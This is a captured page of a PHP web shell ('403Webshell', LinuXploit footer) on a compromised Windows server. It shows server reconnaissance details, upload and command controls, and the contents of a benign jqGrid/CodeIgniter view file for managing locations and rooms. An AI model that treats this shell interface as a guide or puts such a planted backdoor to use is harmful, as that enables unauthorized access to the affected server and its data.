403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /wamp/www/simbada_2019_audited/application/modules/ruangan/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /wamp/www/simbada_2019_audited/application/modules/ruangan/views/ruangan_view.php
<fieldset>
  <legend><?php echo $breadcrumbs;?></legend>
</fieldset>

<div id="grid_container">
  <div id="search" class="row">
  </div>
  <table id="grid"></table>
  <div id="pager"></div>
</div>

<script>
<?php
  $akses = isset($akses) ? $akses : 0;
  $canEdit = $akses >= 3;
  $canPrint = $akses >= 2;
?>
var grid = $('#grid'), id = last = lastp = 0, canEdit = <?php echo $canEdit ? 'true' : 'false'; ?>;

$(document).ready(function() {
  params = {
    container : $('#search'),
    grid : grid,
    cols : <?php echo json_encode($grid['fields']); ?>,
  }
  Search.init(params);

  $('#grid').jqGrid({
      url:'<?php echo base_url().$modul?>/get_daftar',
      editurl:'<?php echo base_url().$modul?>/proses',
      datatype:'json',
      mtype:'POST',
      colNames:['Kode Lokasi', 'Nama Lokasi', 'Alamat', 'Id SKPD', 'SKPD'],
      colModel:[
        {name:'kd_lokasi', width:120, editable:true},
        {name:'nm_lokasi', width:280, editable:true},
				{name:'alamat', width:350, editable:true},
				{name:'id_skpd', width:60, hidden:true, editable:true},
				{name:'nm_skpd', width:400, sortable:false, editable:true, cellattr:function(rowid, val, raw){return ' title="'+raw[05]+'"';}, editoptions:{dataInit:initselect}},
      ],
      pager:'#pager',
      rowNum:1000000,
      scroll:true,
      rownumbers:true,
      viewrecords:true,
      gridview:true,
      shrinkToFit:false,
      autowidth:true,
      height:'400',
      recordtext:'{2} baris',
      sortname: 'kode',
			subGrid:true,
      subGridBeforeExpand: subGridBeforeExpand,
      subGridRowExpanded: subGridRowExpanded,
      onSelectRow: function(id){
        if(id && id!==last){
          $(this).restoreRow(last);
          last=id;
        }
      },
      ondblClickRow: edit_row,
    });
    $("#grid").jqGrid('bindKeys', {"onEnter": edit_row});
    $("#grid").jqGrid('navGrid', '#pager', {
      add: false,
      addtext: 'Tambah',
      addfunc:add_row,
      edit: false,
      edittext: 'Ubah',
      editfunc:edit_row,
      del:false,
      deltext: 'Hapus',
      delfunc:del_row,
      search:false,
      refresh: true,
      refreshtext:'Refresh',
  })
	.navButtonAdd('#pager',{
		caption:'Cetak&nbsp;',
		onClickButton: function(){ print_list() },
		title:'Cetak Daftar',
		buttonicon:'ui-icon-print',
		position:'last'
	});  

  function add_row(){
    if (!canEdit) return;

    newid = --id;
    editparam = {
      keys : true,
      aftersavefunc: aftersavefunc,
      beforeSaveRow: beforesavefunc,
      afterrestorefunc: afterrestorefunc,
      oneditfunc: oneditfunc,
      successfunc: successfunc,
      errorfunc: errorfunc,
      restoreAfterError: false,
    }

    $(this).jqGrid('addRowData', newid, {}, 'last');
    $("#"+newid).addClass("jqgrid-new-row");
    $(this).jqGrid('editRow', newid, editparam);
    $(this).jqGrid('setSelection', newid);
  }

  function edit_row(id){
    if (!canEdit) return;

    editparam = {
      keys : true,
      aftersavefunc: aftersavefunc,
      beforeSaveRow: beforesavefunc,
      afterrestorefunc: afterrestorefunc,
      oneditfunc: oneditfunc,
      successfunc: successfunc,
      errorfunc: errorfunc,
      restoreAfterError: false,
    }
    $(this).jqGrid('editRow', id, editparam);

    last = id;
  }

  function del_row(id){
    if (!canEdit) return;

    var grid = $(this),
		question = 'Hapus Fungsi dari daftar ?';
    confirmation(question).then(function(answer){
      if (!answer) return;

      $.ajax({
				url: '<?php echo base_url().$modul?>/hapus',
				type: "post",
				dataType: "json",
				data: {id:id},
				success: function(res){
					if (res.isSuccess) show_info(res.message, 'Sukses');
					else show_error(res.message, 'Gagal');
					if(res.isSuccess == true) {
						grid.jqGrid('delRowData', id);
					}
				},
      });
    });
  }
	
	/* ruangan */
  function subGridBeforeExpand(subgrid_id, row_id){
    /* grid ruangan hanya untuk baris skpd */
    if (isNaN(row_id)) return false;
  }

  function subGridRowExpanded(subgrid_id, row_id){ console.log(row_id,'idlokasi');
    var tblRuangan, pgrRuangan;
    tblRuangan = subgrid_id+"_t"; pgrRuangan = subgrid_id+"p_";
    $("#"+subgrid_id).html("<table id='"+tblRuangan+"' class='scroll'></table><div id='"+pgrRuangan+"' class='scroll'></div>");
    $("#"+tblRuangan).jqGrid({
      url:'<?php echo base_url()?>ruangan/get_ruangan'+'/'+row_id,
      editurl:'<?php echo base_url()?>ruangan/proses_ruangan',
      datatype:'json',
      mtype:'POST',
      colNames:['', '', 'Kode Ruangan', 'Nama Ruangan', 'Aktif'],
      colModel:[
          {name:'id', hidden:true, editable:true},
          {name:'id_lokasi', hidden:true, editable:true},
          {name:'kode', width:100, editable:true, edittype:'text', editoptions:{maxlength:50}},
          {name:'nama', width:300, editable:true, edittype:'text', editoptions:{maxlength:100}},
          {name:'aktif', width:40, editable:true, edittype:'checkbox', formatter:'checkbox', editoptions:{value:"1:0"}, align:'center'},
      ],
      rownumbers:true,
      rowNum:10,
      pager:"#"+pgrRuangan,
      sortorder:'asc',
      viewrecords:true,
      gridview:true,
      height: '100%',
      onSelectRow: function(id){
        if(id && id!==lastp){
          $(this).restoreRow(lastp);
          lastp=id;
        }
      },
      ondblClickRow: dblClickRuangan,
      loadComplete: function(){
          $(this).jqGrid('setGridParam', {id_lokasi:row_id});
      }
    });
    $("#"+tblRuangan).jqGrid('bindKeys', { "onEnter": edit_ruangan});
    $("#"+tblRuangan).jqGrid( 'navGrid', "#"+pgrRuangan, {
      add: canEdit,
      addtext: 'Tambah',
      addfunc: add_ruangan,
      edit: canEdit,
      edittext: 'Ubah',
      editfunc: edit_ruangan,
      del: canEdit,
      deltext: 'Hapus',
      delfunc: del_ruangan,
      search: false,
      searchtext: 'Cari',
      refresh: true,
      refreshtext: 'Refresh',
    },{},{},{},{});
  }

  function add_ruangan(){
    if (!canEdit) return;

    var id_lokasi = $(this).jqGrid('getGridParam', 'id_lokasi');

    var addparam = {
      rowID : --id,
      initdata: {aktif: 1},
      position :"last",
      addRowParams : {
        keys : true,
        aftersavefunc: aftersave_ruangan,
        beforeSaveRow: beforesave_ruangan,
        oneditfunc: onedit_ruangan,
        afterrestorefunc: afterrestore_ruangan,
        successfunc: successfunc,
        errorfunc: errorfunc,
        extraparam:{id_lokasi:id_lokasi},
        restoreAfterError: false,
      }
    }
    $(this).jqGrid('addRow', addparam);
  }

  function dblClickRuangan(id, irow, icol, e){
    e.stopPropagation();
    edit_ruangan.call(this, id);
  }

  function edit_ruangan(id){
    if (!canEdit) return;
    ruangan_event = true;

    var editparam = {
      keys : true,
      aftersavefunc: aftersave_ruangan,
      beforeSaveRow: beforesave_ruangan,
      oneditfunc: onedit_ruangan,
      afterrestorefunc: afterrestore_ruangan,
      successfunc: successfunc,
      errorfunc: errorfunc,
      restoreAfterError: false,
    }
    $(this).jqGrid('editRow', id, editparam);

    lastp = id;
    return false;
  }

  function del_ruangan(id){
    if (!canEdit) return;

    var grid = $(this),
        question = 'Hapus ruangan dari daftar ?';
      confirmation(question).then(function(answer){
      if (!answer) return;

      $.ajax({
          url: '<?php echo base_url()?>ruangan/hapus_ruangan',
          type: "post",
          dataType: "json",
          data: { id: id},
          success: function(res){
            if (res.isSuccess) show_info(res.message, 'Sukses');
            else show_error(res.message, 'Gagal');
            if(res.isSuccess == true) {
              grid.jqGrid('delRowData', id);
            }
          },
      });
    });
  }

  function aftersave_ruangan(id, resp){
    var oresp = JSON.parse(resp.responseText);
    var newid = oresp.id;
    if (oresp.isSuccess){
      show_info(oresp.message, 'Sukses');
      if (newid !== id){
        var data = $(this).jqGrid('getRowData', id);
        data.id = newid;
        $(this).jqGrid('addRowData', newid, data, 'after', id);
        $(this).jqGrid('delRowData', id);
        $(this).jqGrid('resetSelection')
        $(this).jqGrid('setSelection', newid)
        last = id;
      }
    }
    else {
      show_error(oresp.message, 'Gagal');
    }
    $(this).focus();
  }

  function beforesave_ruangan(opt, id){
    var kode = $('#'+id+'_kode').val();
    var nama = $('#'+id+'_nama').val();

    if (kode == '' || nama == ''){
      show_warning('Silahkan melengkapi semua isian Ruangan.', 'Perhatian');
      return false;
    }
  }

  function onedit_ruangan(id){
    // focus ke elemen pertama
    $('#'+id+'_kode').focus();
  }

  function successfunc(resp){
    var oresp = JSON.parse(resp.responseText);
    return oresp.isSuccess;
  }

  function errorfunc(id, resp){
    var oresp = JSON.parse(resp.responseText);
    show_error(oresp.message, 'Gagal');
  }

  function afterrestore_ruangan(id){
    $(this).focus();
  }
	
	formatSelect2 = function(res){	
		return '<div>' + res.text + '</div>';
	}	
	
	function initselect(el){		
		var oid = el.id;
		$(el).select2({
			minimumInputLength: 2,
			ajax: {
				url: root+modul+'/get_skpd/',
				type: 'POST',
				dataType: 'json',
				quietMillis: 200,
				data: function(term){
					return {'q': term}
				},
				results: function(data) {
					return {results: data.results}
				},
			},
			placeholder: 'Pilih SKPD',
			allowClear: false,
			openOnEnter: false,
			dropdownAutoWidth : true,
			initSelection: function(element, callback){
				var data = {'text': element.val()};
				callback(data);
			},
			formatResult: formatSelect2
		});		
		$(el).on('change', function(e){			
			var ele = [
							{id: "id_skpd", nama: "nm_skpd"},
						];
			var idx = e.target.id;
			
			// apply selection to grid element
			$.each(ele, function(i, x){
				var pos = idx.indexOf(x.nama);				
				
				if ( pos > -1){
					var pre = idx.substring(0, pos);					
					
					$('#'+pre+x.id).val(e.added ? e.added.id : '');					
					$(e.target).val(e.added ? e.added.text : '');
					$('#'+pre+x.nama).val(e.added ? e.added.text : '');
					
					var rowId = $("#grid").jqGrid('getGridParam','selrow');  
					var rowData = jQuery("#grid").getRowData(rowId);					
					$("#grid").jqGrid('setCell', rowId, 'nm_skpd', e.added ? e.added.text : '');
						
					return false;
				}
			});
			e.stopPropagation();
		});
	}	

  function oneditfunc(id){
    $('#'+id+'kd_lokasi').focus();
  }

  function beforesavefunc(opt, id){
    kd_lokasi = $('#'+id+'_kd_lokasi').val();
    nm_lokasi = $('#'+id+'_nm_lokasi').val();
		alamat = $('#'+id+'_alamat').val();
		id_skpd = $('#'+id+'_id_skpd').val();

    // cek semua kolom sudah diisi
    if (kd_lokasi == ''  || nm_lokasi == '' || alamat == '' || id_skpd == '') {
			show_warning('Silahkan melengkapi semua isian Lokasi.'); 
			return false;
		}

    data = $('#grid').jqGrid('getRowData');
    found = $.grep(data, function(e){
      return (e.kd_lokasi == kd_lokasi);
    });
		
    if (found.length) {
			show_warning('Kode Lokasi sudah ada'); 
			return false;
		}
  }

  function aftersavefunc(id, resp){
    oresp = JSON.parse(resp.responseText);
    newid = oresp.id;
    if (oresp.isSuccess){
      show_info(oresp.message, 'Sukses');
      if (newid !== id){
        data = $(this).jqGrid('getRowData', id);
        data.id = newid;
        $(this).jqGrid('addRowData', newid, data, 'after', id);
        $(this).jqGrid('delRowData', id);
        $(this).jqGrid('setSelection', newid)
        last = id;
      }
    }
    else {
      show_error(oresp.message, 'Gagal');
      return false;
    }
    $(this).focus();
  }

  function successfunc(resp){
    oresp = JSON.parse(resp.responseText);
    return oresp.isSuccess;
  }

  function errorfunc(id, resp){
    oresp = JSON.parse(resp.responseText);
    show_error(oresp.message, 'Gagal');
  }

  function afterrestorefunc(){
    $(this).focus();
  }
	
	function print_list(){
		preview({"tipe":"daftar"}, grid);
	}
});
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit